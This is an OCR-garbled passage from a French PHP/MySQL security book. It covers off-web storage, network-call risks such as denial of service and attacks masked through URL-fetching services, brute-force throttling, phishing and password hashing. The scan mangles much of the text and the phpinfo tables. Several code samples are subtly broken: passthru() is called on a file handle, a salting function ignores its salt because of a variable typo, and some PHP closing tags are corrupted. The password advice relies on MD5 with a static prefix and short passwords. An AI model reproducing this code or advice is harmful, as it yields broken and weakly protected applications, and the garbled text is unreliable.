lation des droits, ou d’ un oubli de configuration qui publierait les codes source des scripts
par omission.

Vous pouvez identifier votre racine web dans phpinfo(). Pour Apache, il sagit de
DOCUMENT_R00T, dans la catégorie des variables d’ environnement Apache (figure 9-5). Sous|1S,
il faut rechercher 'DocUMENT_R00T' danslavariable $_SERVER de PHP (figure 9-6).
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Variables
d’environnement Apache

Figure 9-6
Variables
d’ environnement PHP.
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Apache Environment
= T S o |
DOCUMENT _ROOT MLibrargWebServerDocumeants
HTTP_ACCEPT "
HTTP_ACCEPT_ENCODING |gzip, deflate
HTTP_ACCEPT_LANGUAGE |ir
HTTP_CONNECTION knap-alive
HTTP_HOST localhost
HTTP_USER_AGENT Mozilla/s.0 (Maciniosh; U; intel Mac 08 X, Ir) ApgleWebKiv4 18 (KHTHL, ke
Gacko) Safard19.3
PATH Mbinzsbin useinusisbinusiibexec/SystemL irany/CorSenvices
REMOTE_ADDR 127.0.01
REMOTE_PORT 61468
SCRIPT_FILENAME Msersimachook/Sitesigitphp
SCRIPT_URI hitpzutoriel-php locali~macbookigif. php
SCRIPT_URL ~-macbookigit.php
SERVER_ADDR 127.0.04
SERVER_ADMIN [no addrass given]
SERVER_MNAME tutoriel-php jocal
PHP Variables
[ vl ] 00000 vaw 0000000 ]
PHP_SELF I=machoakigil.php
_SERVER["DOCUMENT_ROOT"] NLibraryWebServenDocumants
_SERVER["HTTP_ACCEPT"] 0

_SERVER['HTTP_ACCEPT_ENCODING] |gzip, defate

_SERVER['HTTP_ACCEPT_LANGUAGE"]|Ir

_BERVER[ HTTP_GONNEGTION"]

[keep-aive

_SERVER[*HTTP_HOST")

_SERVER["HTTP_USER_AGENT"]

[ Moziitasm.o (Macintosh; U; imel Mac OS X; r) AppleWabKitd 19

(HHTML, like Gecka) Satari419.3

_SERVER[ PATH") /binsbin fusrbinsusnisbinsusiibexecSystemiibraryCoreSanioes

_SERVER[" REMOTE_ADDR"] 127.0,0.1

_SERVER[" REMOTE_PORT"] 61468

_SERVER[" SCAIPT_FILENAME"] Msersimachook/Sitesigil.ohp

_SERVER["SCRIPT_URF] | hitp:ttusoriel-php Jocali~macbookigilphp

_SERAVER['SCRIPT_UAL"] I~machoakigil php

_SERVER["SERVER_ADDR"] 127.00.1

_SEAVER[" SERVER_ADMIN"] | Ine address given]

_SEAVER[" SERVER_MAME"] twioriel-php.local

_SERVER["SERVER_PORT"] B0

_SERVER[" SERVER_SIGNATURE"] =ADDRESS>Apache 3.33 Server at utrel-php.local Pon
B0<ADDRESS>

Ce dossier sera le meilleur endroit pour accueillir les fichiers téléchargés, avant leur

publication. I est alors possible de contréler leur publication via un script PHP: si le

fichier est modéré, PHP lit ce contenu et le publie sans modification. Si le fichier n’est
pas publié, PHP affiche une page de remplacement.
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<?php
$fichier = valide_nom_fichier($_GET['fichier']) ;
if (publie($fichier)) {
$fp = fopen('/hors-web/'.$fichier, 'r+') ;
passthru($fp) ;
} else {
echo 'Désolé, ce document est en cours de validation' ;
}
>
Avec cette technique, on est sir que le document n’'est publié qu’ aprés modération et
gu'il n'y a pas de contournement possible puisque, sans PHP, le document n’est pas
accessible.
Sur un serveur partagé
La recherche d'un dossier hors Web sera probablement une quéte vaine sur un serveur
partagé. En général, et sauf cas particuliers, les serveurs proposent un acces direct a la
racine web, mais aucun moyen de sauver des fichiers hors Web sans les ranger dans le
dossier temporaire : ce dernier étant accessible atout le monde, il n’est pas un bon candidat.
Il faut donc rester dans le dossier public et utiliser les droits d’'acces pour limiter les
lectures. En utilisant les outils avotre disposition, vous pouvez créer un dossier et donner
les droits uniquement a I’utilisateur propriétaire. Cela donne ceci, sous forme de
commande Unix :
Shel1> chmod 700 hors_web
Sous forme graphique, avec un client FTP, cela donne quelque chose de similaire a la
figure 9-7.
Figure 9-7

Droits du dossier

hors web

"® O O hors_web Info

E hors_web

General:

Kind: Folder
Size: ==
Where: fvar/www/hors_web
Created: n/a
Modified: mer., mai 23, 2007 3:36 PM
Owner: --
Group: ==

Permissions:

User: E Read S Write E Execute
Group: [ Read [ Write [ Execute
World: [ Read [ write [ Execute

Octal: E- na—————- E
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L’ avantage de cette approche est que vous pourrez |’ utiliser avec n’'importe quel hébergeur.
Ledossier est en fait parmi les autresfichiers. L' utilisateur peut y accéder, maisles autres,
¢’ est-a-direle groupe ou | e reste du monde, sont bloqués. PHP peut donc lire les données
et manipuler lesfichiersal’ abri desregards.

L’ inconvénient est que le dossier hors_web est malgré tout publié en ligne. On peut tenter
d’y accéder directement et on ne sera blogué que par un message d’interdiction.

En alant un peu plusloin, il suffit d’ une erreur d’ inattention ou d’un oubli de configuration
et les fichiers seront & nouveau accessibles en lecture a tout le monde. Cette situation
N’ est pas possible avec le vrai dossier hors Web, qui 0’ est pas publié par défaut.

Accéder au réseau depuis PHP

Dernier aspect important a prendre en compte dans la sécurisation du serveur : les acces
aux ressources externes. PHP est capable de rapatrier localement des ressources réseau,
comme des fils de dépéches RSS ou des images, ou encore d' utiliser des services web
distants. L’ utilisation du réseau depuis PHP est facile, mais pas sans risque.

<?php

$rss = file_get_contents('http://www.nexen.net/backend.rss') ;
>

Appels séquentiels

La premieére chose a bien comprendre est que lorsque PHP sollicite une ressource réseau,
il sarréte et attend que cette derniére ait livré les informations attendues. Tant que les
données ne sont pas toutes arrivées, PHP attend.

En général, un site web répond plutét vite et il n"y aaucun probleme. Lorsgue e serveur
ne répond pas, PHP attend jusqu’au délai maximum avant de conclure que le site n'est
pas accessible. Cela peut prendre un temps assez long.

Durant ce lapsdetemps, il n'y apasmoyen d’interrompre PHP. 11 n'y améme pas moyen
de configurer les délais d attente lorsgu’ on utilise des fonctions telles que fopen(), file(),
get_headers() OU file_get_contents(). Les extensions de socket sont plus généreuses en
termes d’ options.

Séparer PHP et le réseau

Dans la mesure du possible, il est recommandé de séparer le serveur web des appels au
réseau qu'il doit effectuer. La premiéere recommandation est de stocker une copie locale
de la ressource, afin de limiter le nombre de sollicitation du réseau. On peut utiliser un
systéme de mise en cache simple, par exemple.

Pour aler unpeu plusloin, il est auss possible de créer unefile de téches pour leslectures sur
le réseau. Au lieu d aler immédiatement rechercher les informations en ligne, elles sont
stockées dans une table et un systéme externe indépendant se charge d' aller leslire. C'est
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comme cela que fonctionnent les moteurs de recherche : ils enregistrent les URL soumises
et les donnent & leurs robots de recherche. Cela permet de collecter rapidement de
nombreuses URL et de les organiser pour le traitement.

Attention aux dénis de service

Un déni de service basé sur les fonctions de réseau de PHP est possible. Comme PHP
attend laréponse du réseau, il suffit de ralentir laréponse du serveur distant et d’ exploiter
les délais maximaux d’ attente de PHP pour occuper le serveur et interdire I’ acces aux
autres utilisateurs.

Ce type d'attague est sournois, car PHP ne consomme aucune ressource de maniere
déraisonnable : en mode d attente, il ne prend que peu de mémoire et pas du tout de temps
processeur. Contre ce type d’ attaque, seule lafile de taches est une protection efficace :
C’est le démon externe qui attend indéfiniment la réponse, et non plus le serveur web.

Appels récursifs

Parmi les fléaux qui affectent PHP depuis longtemps, il y a le rappel automatique du
serveur. Le cas le plus classique est I'inclusion d'une bibliothéque, en indiquant le
serveur local comme source :

<?php
include('http://1ocalhost/bibliotheque.inc.php') ;
(]

Cette bibliotheque peut s'inclure elle-méme : soit directement, soit indirectement viaune
autre bibliotheque secondaire. Dans ce cas, PHP appelle le serveur web local, qui charge
un script demandant la bibliothéque qui charge le script initial : ¢’ est un cercle vicieux.
Lerésultat final est que le serveur s appelle lui-méme indéfiniment, jusqu’ a ce que tous
les processus web soient occupés. Rendu a ce stade, le serveur web est en fait en train de
s attendre lui-méme et tous les utilisateurs sont bloqués hors du site.

La premiére recommandation pour se prémunir de ce type de probleme est d’interdire
I'inclusion distante de fichiers PHP, viainclude() €t require(). Il reste aorslapossibilité
au serveur de s appeler [ui-méme viales autres fonctions réseau, comme fopen(), getima-
gesize(), ou curl. A I"heure actuelle, ¢ est lameilleure défense disponible.

Une autre défense envisageabl e serait d’ empécher le serveur de s’ appeler lui-méme, mais
il est trés facile de contourner ce type de politique : il suffit d’ appeler un serveur proxy,
de configurer un nom de domaine pour pointer sur le site original, ou encore de mettre en
place une redirection sur un site externe pour que cette politique soit rendue inopérante.

Laméthode la plus efficace est alors de mettre en place une file de tdches pour séparer le
serveur web de la récolte des informations en ligne.

Votre site masque une attaque

Le masguage d' attaque consiste a utiliser une application légitime pour appeler un site
web, afin de masquer I’ origine réelle de I’ attaque. Pour cela, il suffit de rechercher les
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services en ligne qui sollicitent des informations sur le réseau et de leur donner les URL
a attaquer.

Prenez un service comme celui du valideur du consortium du web, W3 : http://validator.
w3.org/. Lorsqu’on lui indique une URL, le vaideur va chercher le code HTML a cette
adresse, puisil valide le contenu du point de vue des standards. C’ est trés ergonomique et
pratique pour valider la structure d’une page : cela évite de copier/coller le code source
de la page en permanence. Un simple rechargement du site du W3 permet de savoir si la
page est effectivement validée ou pas.

Maintenant, prenons un site victime, qui a mal protégé son accés d administration et
permet d' effacer du contenu al’aide d’une simple URL de type GeT. Par exemple, cette
URL fonctionnerait :

http://www.site.com/admin/efface.php?id=33

Aprés avoir découvert cette vulnérabilité, le pirate peut décider de ruiner le site
www.site.com en effacant tout son contenu. Néanmoins, on verra apparaitre immédiate-
ment son adresse | P dans leslogs, ce qui aidera ale démasquer.

Pour se protéger, le pirate donne I’ URL d' attaque au valideur W3C ; ¢'est ce dernier qui
recherche les informations sur le site victime et, par inadvertance, déclenche la destruc-
tion des informations.

Ce type d'attagque est possible a partir de toute application disponible sur le Web, qui
charge des URL fournies par les utilisateurs : ¢’ est |e cas des outils de tests, des moteurs
de recherche, des sites envoyant des dépéches, des fichiers RSS, des outils de ping et
trackback, des testeurs de liens, etc. Ces services sont faciles atrouver en ligne.

Il est difficile de se passer d’ un service auss pratique que le rapatriement d’ une ressource
distante. D’un autre coté, il est difficile de savoir si un site va répondre ou pas sans le
solliciter directement.

Pour se protéger, il faut mettre en place un maximum de tests avant de demander réelle-
ment la ressource.

Utilisez parse_ur1() €t parse_str() pour décomposer une URL en ééments simples.
Attention, ces fonctions n’assurent aucune vaidation. Il faut utiliser la décomposition
des URL qui en résulte pour tester chague élément :

e Est-ce quele protocole est bien HTTP ? ou HTTPS ?

 Est-ce que le nom de domaine peut étre résolu en adresse | P ou pas ?
» Est-ce que les arguments de requétes ou |’ ancre sont bien utiles ?
 Est-ce que cette URL N’ est pas un peu trop longue ?

Aprés ces premiéres constatations, il est possible de faire un premier test sur le site web
en faisant une requéte HeAD : dans le protocole HTTR, cela revient a demander unique-
ment les informations d’ en-tétes. Normalement, e site distant devrait aors retourner un
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descriptif delaressource demandée, mais pas de contenu. C’ est lafonction get_headers()
de PHP qui se charge de ce travail.

Shell> php

Array

(

(0]
[1]
(21
[31]
[4]
[5]
(6]
7]
(8]

-r 'print_r(get_headers("http://static.php.net/ images/news/php-logo.gif")); '

HTTP/1.0 200 OK

Connection: close

Content-Type: image/gif

ETag: "-9182913567930923377"

Accept-Ranges: bytes

Last-Modified: Wed, 05 Jan 2005 22:40:06 GMT
Content-Length: 2436

Date: Mon, 19 Feb 2007 20:26:44 GMT

Server: php-file-server
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Techniques de sécurisation
des applications web

Nous avons rassemblé ici différentes techniques qui sont adaptées a la protection des
applications web et ne sont pas spécifiques a PHP et MySQL.

Elles répondent a des menaces qui sont typiques d'Internet et pour lesquelles il faut
mettre au point une réponse au niveau de la plate-forme d’ application. Elles doivent faire
partie de latrousse a outils de tous les programmeurs PHP et MySQL.

Sans en sous-estimer I'importance, nous N’ aborderons pas les attaques de réseau, qui sont
hors du contréle des applications PHP, pour nous concentrer sur les menaces spécifiques
aux applications web.

Attaque par force brute

L es attaques systématiques ou par force brute (brute force attack en anglais) sont proba-
blement les attaques les plus connues, car les plus faciles aimaginer, et dont les impacts
sont généralement les plus visibles.

Fonctionnement de I'attaque

Quand un site web exige un mot de passe administrateur pour identifier I’ utilisateur, il
faut connaltre ce mot de passe pour étre identifié, ou bien il faut le deviner et latentation
est grande de tester tous les mots de passe imaginables : en fin de compte, le nombre de
mots de passe possible est énorme, mais il est fini. En essayant suffisamment de valeurs
différentes, le pirate peut finir par tomber sur le bon, par hasard. C'est le principe de
I attaque systématique, ou attaque par force brute.
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Attaque par dictionnaire

Une attaque par force brute peut étre affinée al’ aide d’ un dictionnaire. Le principe d’ une
attaque par dictionnaire est toujours le méme, mais les données sont désormais tirées
d une liste de valeurs possibles, classées en fonction de leur probabilité. Par exemple, ',
la chalne vide, et 'mysq1' sont des mots de passe étonnamment fréguents pour un admi-
nistrateur de MySQL. Il est donc plus efficace de commencer par tester ces valeurs, avant
de passer a un mode plus systématique.

Cette attaque exploite le fait que le serveur web traite les requétes HTTP indépendam-
ment les unes des autres. Contrairement au guichet d’une banque, ou I’employé vous
renverramanu militari si vous ne vous identifiez pas dans un délai assez court, un serveur
web va patiemment vous demander & nouveau votre mot de passe jusqu’ a ce que vous
vous lassiez ou que vous le trouviez.

Lavitesse d' exécution de ce type d’ attague est trés importante : pour réussir a découvrir
un mot de passe dans un délai raisonnable, il faut tester les mots de passe trés rapidement.
Pour se défendre, il faut donc savoir identifier I attaquant, puis le géner et le ralentir dans
son attaque.

Identifier I'attaquant

La solution au probléme d’identification consiste a marquer |’ attaquant. Par exemple, on
peut lui donner un cookie, ou bien utiliser son adresse |P. Ces deux techniques ne sont
pasinfaillibles. En effet, le pirate peut changer d' adresse | P facilement, via un proxy ou
en redémarrant le modem de connexion. De plus, |es utilisateurs d’ AOL peuvent changer
d’adresse |IP entre deux requétes ; cela est di a la nature de leur réseau. Toutefois, le
nombre de changements possibles n’ est pas infini.

Adresse IP

Quand vous avez identifié une adresse IP qui effectue un nombre excessif de tentatives,
voyez S votre serveur web peut étre configuré pour |'ignorer. Par exemple, Apache dispose
de commandes pour interdire I'accés en fonction de ces adresses. Le serveur s appuie
alorssur lesdirectives<pirectory>, <Files> €t <Location>, ainsi que sur lesdirectives|oca
les enregistrées dans le fichier .htaccess. |l est ainsi possible de poser des limitations par
adresse I P, par User-agent, ou toute autre information disponible dans les en-tétes HTTP
fournis par le navigateur.

deny from 10.1.2.3 # interdiction d'accés & 1'adresse IP 10.1.2.3
deny from 10.1 # interdictions d'accés aux adresses IP commencant par 10.1

C'est la méthode la plus efficace pour bloguer un utilisateur distant, car ¢’ est le serveur
web et non plus PHP qui s'en charge.
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Cookie

Quant au cookie, il est vrai qu'il peut étre simplement ignoré ou effacé par le script du
pirate. Cependant, il est é&onnant de voir combien de robots d' Internet respectent les
cookies et sont donc enclins ale renvoyer comme on s'y attendrait.

Danstousles cas, ¢’ est une protection qui est simple a mettre en place et qui pourra vous
épargner quel ques situations difficiles pour peu d’ efforts : pourquoi s en priver?

<?php
if ($_COOKIE['compteur'] > 10) {
header("HTTP/1.0 404 Not Found");
die() ;
}
setcookie('compteur',$_COOKIE['compteur'] + 1, time() + 3600) ;
I/ suite du script
>

Temporisation

Enfin, une attague par force brute a d’ autant plus de chances de réussir qu’elle arrive a
soumettre un grand nombre de valeurs possibles en peu de temps : bref, plus votre serveur
réagit vite, plusil jouelejeu du pirate ! C' est dommage de passer tant de temps a optimi-
ser PHP s ¢’ est pour favoriser une attaque.

Pour fatiguer le pirate sans vous géner, vous pouvez gjouter une temporisation dans la
publication de |la réponse de votre formulaire. Par exemple, si votre site répond en une
milliseconde, |e pirate pourratester environ mille mots de passe par seconde. En revanche, si
vous gjoutez un délai d’ attente d’ un dixiéme de seconde, vous aurez réduit considérable-
ment la vitesse d’ attaque a 10 par seconde. Du point de vue des utilisateurs | égitimes, ce
temps d’ attente sera rarement perceptible, car eux n’ont besoin que d’un ou deux essais
pour s'identifier.

Vous disposez alors des fonctions s1eep() et usleep() de PHP, qui suspendent |’ exécution
d’un script pour une durée spécifiée en argument, exprimeée en secondes pour sleep() €t
en microsecondes pour usleep().

<?php

sleep(1) ; // pause pour une seconde
usTeep(1000000) ; //pause pour une seconde
usTeep(100000) ; // pause pour 1/10e de seconde
7>

Phishing

Le phishing tient le haut du pavé : al’aide de |’ arsenal classique en ingénierie sociale, il
parvient aleurrer un utilisateur 1égitime et alui faire utiliser un site factice, prélevant au
passage toutes les informations confidentielles dont il a besoin.
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Injection d’intermédiaire réseau

L’ attaque par proxy porte aussi le nom de phishing : ¢’ est une attaque trés médiatisée, car
elle s'en prend aisément aux grandes institutions. Le plus souvent, ce sont des banques,
des services comme eBay ou Paypal, mais certains services gouvernementaux en ont été
récemment la proie.

Le principe consiste a établir un serveur proxy entre le client et le site égal, en réalisant
une copie du site officiel, sur laguelle e pirate attire lavictime. En tant qu’intermédiaire,
la copie va collecter toutes les informations en provenance de I’ utilisateur, pour les
envoyer au site web |égitime. Elle note les réponses retournées par ce serveur et sert les
informations a la victime. Du point de vue de I’ utilisateur peu prudent, le site qu'il
consulte réagit comme d’ habitude, sauf peut-étre au niveau de la vitesse. Le seul indice
disponibleest I'URL utilisée, maisil est parfoistrop tard. En fin de compte, le proxy aura
collecté lesinformations d’identification du site, qu’il pourraréutiliser plus tard.

Les serveurs proxy sont trés utiles sur Internet et ont été inventés avec des intentions
saines. lls servent de passerelles, de systémes de cache et de relais sur le réseau, et
permettent parfois de compenser des bandes passantes limitées. Le phishing exploite les
concepts des proxy, mais avec des intentions plus sournoi ses.

Education des utilisateurs

Pour s en protéger, la premiére chose est d’ éduquer les utilisateurs. On peut leur recomman-
der I utilisation de barres anti-phishing, comme cellesde Netcraft (http: //www.netcraft.com/),
Google (http://www.google.com/tools/firefox/safebrowsing/). Microsoft s est également
doté d’un tel filtre récemment. Il s agit d’ outils de base pour protéger les utilisateurs sur
votre site et dans leur navigation en général. Plus les utilisateurs sont conscients de la
menace de phishing, plus ils pourront identifier un lien ou un courriel potentiellement
dangereux, ou bien un nom de domaine qui N’ est pas le votre.

La couverture utilisée par les phishings est la communication entre le serveur et
I’ utilisateur : un proxy ne perturbe pas les communications, ou aussi peu que possible.
Un phishing s’ en sert pour passer inapercu.

Sécurisation des connexions

Pour se protéger du phishing, le mieux est d'établir une connexion sécurisée, de type
HTTPS. Les communications sont alors chiffrées par SSL ou par un autre type de chiffre-
ment et les données sont protégées durant leur transit pour garantir leur confidentialité.

Il faut bien s assurer que la communication est initiée depuis votre serveur, et non pas
depuis le navigateur : en effet, il est possible & un site de phishing d’ établir la connexion
ala place du client Iégitime, puis d’ ouvrir une autre connexion sécurisée entre lui et le
client. Sous cette forme, la protection est momentanément interrompue au niveau du
proxy pirate, qui peut prélever discretement les informations dont il a besoin.


http://www.netcraft.com/
http://www.google.com/tools/firefox/safebrowsing/
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Dénis de service

Le déni de service est un proche cousin des techniques d’ attague systématique, mais la
finalité n’ est paslaméme. Laou les attaques systématiques espérent obtenir des priviléges
particuliers en testant toutes | es possibilités de mots de passe, les dénis de service visent
abloquer I accés avotre site en consommant toutes les ressources. Si une tache accapare
un serveur entier, les autres utilisateurs seront alors pénalisés, ou bien devront composer
avec un site particuliérement lent.

Avec cette définition, il est parfaitement possible de réaliser un déni de service soi-méme:
il suffit d’écrire des scripts particuliérement gourmands en processeur ou en mémoire
pour obtenir une application lente, mais exigeante. Il est rare d’ arriver a ce cas extréme,
mais un script un peu mal écrit va devenir une proie facile pour un pirate.

Pour réussir un déni de service, il faut que le pirate identifie une partie de I’ application
qui produit un contenu colteux a obtenir. Quand la requéte est courte et la réponse
énorme, alors le serveur travaille fort, trés fort.

Par réponse coliteuse, on entend toute opération qui engage beaucoup de ressources de la
part du serveur. Cela peut étre la publication d’ un fichier tréslong, le chargement d'un trés
grosfichier sur le serveur, I exécution d' une recherche complexe ou bien dans une tabletres
grande, laréservation de beaucoup de mémoire, I’ obtention d’ une ressource rare, etc.
Lesinjections sont ainsi des candidates pour réaliser des dénis de service : une injection
SQL peut démultiplier énormément la charge de travail de MySQL et le blogquer sur une
técheinutile.

Notez aussi que I’ obtention d’ une ressource réseau peut se révéler étre un frein pour le
site web. Imaginez que I’ application aille chercher une image sur un site distant, apres
fourniture d'une URL par I’ utilisateur. Si le serveur de cette URL est programmé pour
répondre trés lentement, cela va occuper un processus PHP complet de I’ application
durant tout ce temps. PHP va devoir attendre que le chargement de I’image distante soit
complété avant de continuer son traitement. En lancant suffisamment de chargements
simultanés, on peut engorger le serveur.

Quota de consommation

Pour contrer lesdénisde service, il faut identifier lesressources|entes et gérer leur utilisation.

Celasefait enimposant un quota d’ utilisation journalier. Le dictionnaire des synonymes
de I'université de Caen (http://elsapl.unicaen.fr/dicosyn.html) limite les consultations
a 1000 par jour, pour éviter de se faire piller son dictionnaire : cela économise de la
bande passante et du temps de calcul, tout en laissant a chaque utilisateur la possibilité
d’ utiliser le service de maniére raisonnable.

Identification des clients

Il est aussi possible de demander une identification avant |’ accés a un service. A partir
d’ une identification par cookie ou par session, il est possible de gérer un véritable comp-
teur et un quota. Du point de vue du pirate, cela indique clairement que I’ accés a cette
ressource est surveillé et que les abus seront sanctionnés.
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Débrayer le systeme

Il est également recommandé d’ avoir un outil pour désactiver facilement et proprement
un service potentiellement gourmand. Par exemple, si un service de recherche est régu-
lierement en surcharge, mettant en péril lastabilité du serveur, il est important de pouvoir
le désactiver et e mettre en berne avec un mot d’excuse bien tourné. Un message de
I’administrateur est toujours mieux accueilli que des ralentissements répétitifs et sans
explication.

Vous pouvez aussi installer unefile d' attente pour laréalisation du travail demandé. C'estla
technique adoptée par Webthumb (http://bluga.net/webthumb/), le site de Joshua Eichorn
qui produit des apercus miniatures des sites web. Comme cette opération est colteusg, il
enregistre chagque demande dans unefile et livre les résultats au fur et a mesure du traite-
ment par son systéme. Les jours ou ce dernier est sans charge, |e résultat est immeédiat, et
les autres jours, on obtient une URL que I’ on peut surveiller jusqu’a ce que les résultats
soient disponibles.

La mise a disposition par courrier électronique est aussi une bonne solution, avec le
double avantage d’identifier les demandeurs, et de ralentir le rythme de livraison des
résultats, ce qui décourage les pirates.

Gestion des mots de passe

La gestion des mots de passe est un probléeme courant : il faut en effet savoir stocker
correctement les mots de passe des utilisateurs de votre systeme, en plus de gérer ceux de
votre application.

La premiére idée a bannir immédiatement est le stockage des mots de passe en clair :
quel que soit le support de stockage, il est impératif de protéger les mots de passe des
pirates, mais aussi, et surtout, de vous-méme. Vous pouvez considérer qu’un mot de
passe fait partie delavie privée d’ un utilisateur : aing, il ne faut pas que vous puissiez en
découvrir la valeur, méme par inadvertance. C'est |a le paradoxe de |’ administrateur :
gérer une valeur qu’il ne doit pas connaitre. Si les mots de passe sont en clair, il est trop
facile de les afficher sans le vouloir, avec une simple commande SQL :

mysql> SELECT * FROM users;

Signature

La méthode la plus simple pour gérer des mots de passe sans en connaitre la valeur est
d'utiliser une signature. Une signature est une chaine de caractéres produite a partir
d'une fonction injective et d’ une valeur a signer. Une fonction injective produit toujours
le méme résultat a partir des mémes arguments, mais ne connait pas de fonction inverse.

Ainsi, en signant un mot de passe avant de le stocker, vous alez lerendreillisible. Toute-
fois, vous pourrez comparer deux signatures de mots de passe. Si elles sont identiques, il
y ade trés fortes chances que I’ utilisateur soit le propriétaire du compte.
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Il existe de nombreux algorithmes de signature, parmi lesquels MD5 et SHA 1. PHP et
MySQL disposent tous les deux de plusieurs algorithmes pour effectuer les signatures de
données. Certains, tels que MD5 et SHA sont d'ailleurs disponibles dans les deux envi-
ronnements.

Stockage des mots de passe

L orsque vous recevez un mot de passe a stocker, que ce soit au moment de sa création ou
bien lorsque I’ utilisateur le modifie, vous devez le signer et stocker la signature. En voici
un exemple :

<?php
$signature = md5($mot_de_passe);
$requete = '"INSERT INTO utilisateurs VALUES ("'
.mysqli_escape_string($login)."'", "'
.mysqli_escape_string($signature).'")";
7>

Ou bien, vous pouvez utiliser laversion MySQL :

<?php
$requete = "INSERT INTO utilisateurs VALUES ("'
.mysqli_escape_string($login)."", md5(""
.mysqli_escape_string($signature).'")";
[

Notez que MD5 fonctionne avec a peu pres n'importe quelle chaine de caractéres et
produit toujours une chaine de 32 caractéres, quelle que soit la valeur d’entrée. Cela
protege le systeme de stockage contre la majorité des injections. Si vous utilisez SQL,
pensez alors a adapter la taille de votre colonne de mot de passe a CHAR(32). D’ autres
algorithmes utilisent des tailles différentes, fixes ou non.

Unefoissigné, le mot de passe n' est plus lisible directement :

mysql> select MD5('nexen');

e +
| MD5('nexen') |
e +
| beca371a0b80aba9df376b69fd6ebf517

e +

Comme il n'y a pas de moyen pour décoder cette chaine de caractéres, un pirate qui
obtiendrait une copie de cette base de données devrait faire face a une intense session de
tests en force brute pour obtenir le mot de passe initial et I utiliser.

Renforcement de la signature

Comme toujours en matiére de sécurité, une seule mesure ne suffit pas. Par exemple, MD5
est un agorithme efficace, mais le site http://gdataonline.com/ a entrepris de stocker les
signatures MD5 d’ un maximum de mots de passe ; en interrogeant la base de données avec :

beca371a0b80aba9f376b69fdbebf517
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en moins de 0,048 seconde, on obtient lavaleur initiale ; nexen.

Il faut savoir que les ordinateurs modernes sont capables de calculer des signatures ala
vitesse de quelques milliers par seconde et que cela va encore s accélérer a I’ avenir.
Ainsi, une signature peut étre rapidement vérifiée dans un dictionnaire, ou testée avec
une attaque par force brute.

Dans ces conditions, un mot de passe de six lettres constitue donc une protection bien
faible. D’un autre coté, si vous imposez a vos utilisateurs des mots de passe de vingt
caractéeres al phanumériques, attendez-vous a des récriminations : cela commence afaire
long. 1l est probable que les utilisateurs vous demanderont de réduire la taille du mot de
passe, ou I'inscriront sur un bout de papier qu'ils colleront sur leur écran : parfois, la
sécurité tient a bien peu de chose.

Pour allonger un mot de passe sans faire confiance ala mémoire des utilisateurs, il suffit
delui gjouter vous-méme des caractéres avant lasignature. En anglais, on appelle celaun
«grain de sel » ou salt. En francais, ¢’ est simplement une rallonge pour le mot de passe.
Voici comment faire:

<{?php
DEFINE('prefixe_mdp', "prefixe_') ;

$signature = md5(prefixe_mdp.$mot_de_passe);
$requete = '"INSERT INTO utilisateurs VALUES (" '
.mysqli_escape_string($login)." ", "'
.mysqli_escape_string($signature)."'")";
”

Vous pouvez évidemment compliquer la technique a votre gré: un suffixe en plus du
préfixe, ou méme I’ incrustation d’ une chaine de caractéres al’ intérieur du mot de passe.
Il suffit que I’ opération soit facile a appliquer et que vous pensiez a I’ gjouter a chague
fois que vous produisez une signature, que ce soit pour la comparaison ou pour |’ enregis-
trement. 1l est suffisant que la signature soit aussi une fonction injective: elle doit
toujours donner e méme résultat.

<?php

function prepare_signature($mot_de_passe) {
$mot_de_pase = 'prefixe'.$mot_de_passe.'suffixe';
return strrev($mot_de_passe);

}

$signature = md5(prepare_signature($mot_de_passe));

$requete = "INSERT INTO utilisateurs VALUES ("'.mysqli_escape_string($login)."",
="' mysqli_escape_string($signature).'")" ;

”

Pensez aussi a toujours compliquer le mot de passe, comme lors d'une rallonge, plutét
gue de le simplifier, par exemple en le coupant.
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Notons également qu’il vaut mieux utiliser une signature SHA256 ou SHA512 dans vos
applications. En effet, les signatures MD5 sont considérées comme « crackées ». On
considére une signature crackée a partir du moment ou il est possible de trouver facilement
des collisions avec I’ algorithme. Une collision est un couple de deux chaines produisant
laméme signature.

Vérification des mots de passe

Apres avoir enregistré le mot de passe dans votre base de données, il faut pouvoir le
retrouver, sans savoir le lire. En fait, il faut pouvoir comparer la signature du mot de
passe fourni par un utilisateur avec celle enregistrée dans la base.

Si les deux signatures correspondent, vous pouvez étre raisonnablement certain que
I’ utilisateur afourni le bon mot de passe :

<?php
define('prefixe_mdp', 'prefixe_") ;

$signature = md5(prefixe_mdp.$_GET['mot_de_passe']);

$requete = "SELECT COUNT(*) FROM utilisateurs WHERE login = "'
.mysqli_escape_string($login)."'" AND password = "'
.mysqli_escape_string($signature).'"" ;

>

Fiabilité de la signature

En théorie, il est possible de trouver deux mots de passe distincts qui disposent de la méme signature.
Dans ce cas, il deviendrait possible de s'identifier a la place d'un autre utilisateur. En pratique, cette tech-
nique fonctionne toujours et la probabilité de contourner la signature est tres faible.

Lasignature vous permet ainsi d'identifier un utilisateur a partir d’un mot de passe, tout
en préservant la confidentialité de ce dernier.

Création de mots de passe

Pour la création de mots de passe, il est recommandé d' utiliser un générateur automatique,
qui brasse un grand nombre de caracteres différents: lettres majuscules et minuscules,
guelques chiffres et des caractéres spéciaux. Lataille du mot de passe doit étre de 6 a
10 caractéres.

Evitez de prendre des mots de passe trop évidents, comme des mots complets en francais,
en anglais ou méme dans d’ autres langues. Ce qui est exotique pour vous ne le sera pas
pour d autres.

Il est toujours intéressant d’ avoir un mélange de majuscules, minuscules et de chiffres
dans un mot de passe. Par exemple, P4r15 se base sur le mot « Paris », mais effectue des
remplacements de lettres par des chiffres, en fonction de leur ressemblance : « 1 » pour
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«i»ou«l»(«L »minuscule), « 4 » pour « A », « 3» pour « E », «5» pour « S». Cela
renforce votre mot de passe, mais ces régles sont trés répandues et les moteurs de
craguage des pirates sont généralement renseignés aleur sujet.

Ajouter quelques fautes d’ orthographe ou expressions phonétiques est une autre astuce
pour compliquer un mot de passe tout en lui conservant un caractére mnémotechnique.

Le paradoxe du mot de passe est que I'on veut qu'il soit trés difficile a deviner, mais
facile aretenir. Voici quelques régles aretenir pour choisir un mot de passe robuste :

1. 1l doit étre aussi long que possible.
2. 1l ne doit avoir aucune signification.
3. I doit contenir des caracteres variés.

Pour satisfaire toutes ces exigences, voici une astuce : prenez une phrase et sélectionnez
les premiéres lettres de chaque mot. Par exemple, la phrase:

Le vif zéphyr jubile sur les kumquats du clown gracieux.
devient :
Lvzjslkdcg

Il est possible de prendre la deuxiéme ou la derniéere lettre du mot : a vous de composer
votre technique. Dans tous les cas, le mot de passe est facile aretenir, mais plus difficile
adeviner.

Efrerssunx # dernierelettre

Eieuueuulr # deuxieme lettre. Attention, les lettres sont peu variées

Mots de passe perdus

